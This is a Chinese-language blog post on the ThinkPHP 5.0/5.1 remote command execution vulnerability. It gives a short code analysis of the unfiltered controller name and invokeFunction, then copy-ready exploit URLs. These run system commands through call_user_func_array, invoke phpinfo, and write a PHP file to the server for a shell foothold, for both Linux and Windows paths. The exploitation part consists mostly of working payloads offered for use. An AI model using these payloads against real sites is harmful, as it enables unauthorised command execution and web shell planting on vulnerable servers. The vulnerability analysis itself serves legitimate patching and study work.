ThinkPHP 遠程命令執行漏洞利用(GetShell)

2019年5月8日08:22:28 發表評論

漏洞分析:

由于框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的getshell 漏洞受影響的版本(v5.0.23 及 v5.1.31 以下版本),推薦盡快更新到最新版本。

文件:thinkphp/library/think/App.php

// 獲取控制器名
$controller       = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

在修復之前程序未對控制器進行過濾,導致攻擊者可以通過引入“\”符號來調用任意類方法。

漏洞原理:

先來講下,5.0 跟 5.1 的區別吧,tp5.1 中引入了容器(Container)和門面(Facade)這兩個新的類 ?tp5.0 是沒有這兩個新的類的。

我們先來看看 App 類里的 exec 函數里的執行分層控制器的操作:

case 'controller': // 執行控制器操作
	$vars = array_merge(Request::instance()->param(), $dispatch['var']);
	$data = Loader::action(
		$dispatch['controller'],
		$vars,
		$config['url_controller_layer'],
		$config['controller_suffix']
	);
	break;

我們這里是把 controller 的調用信息跟配置信息全部傳到了 invokeFunction 這個 執行函數里面去了

public static function invokeFunction($function, $vars = [])
{
	$reflect = new \ReflectionFunction($function);
	$args    = self::bindParams($reflect, $vars);

	// 記錄執行信息
	self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

	return $reflect->invokeArgs($args);
}

因為 think\App 是第二個入口,在 tp 運行的時候就會被加載 所以用 think\App 里面的分層控制器的執行操作的時候,需要去調用 invokeFunction 這個函數。

這個函數有兩個參數,如上圖所示,第一個是函數的名字,第二個參數數組,比如$function 傳入 baidu 然后$vars 傳入[111,222]就相當于調用 baidu(111,222)

漏洞利用:

1.執行系統命令顯示目錄下文件:

Linux:
http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
WIN:
http://www.mysite.com/index.php?s=/index/\think\request/cache&key=ls%20-l|system

ThinkPHP 遠程命令執行漏洞利用(GetShell)

2.執行 phpinfo

Linux:
http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
WIN:
http://www.mysite.com/index.php?s=/index/\think\request/cache&key=1|phpinfo

ThinkPHP 遠程命令執行漏洞利用(GetShell)

3.寫入 info.php 文件

方法 1:
http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20info.php

方法 2:
http://www.mysite.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=info.php&vars[1][]=%3C?php%20phpinfo();?%3E

訪問 info.php

ThinkPHP 遠程命令執行漏洞利用(GetShell)

  • 博主微信
  • 趕快加我來聊天吧
  • weinxin
  • 博主QQ
  • QQ號:862277464
  • weinxin

發表評論

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: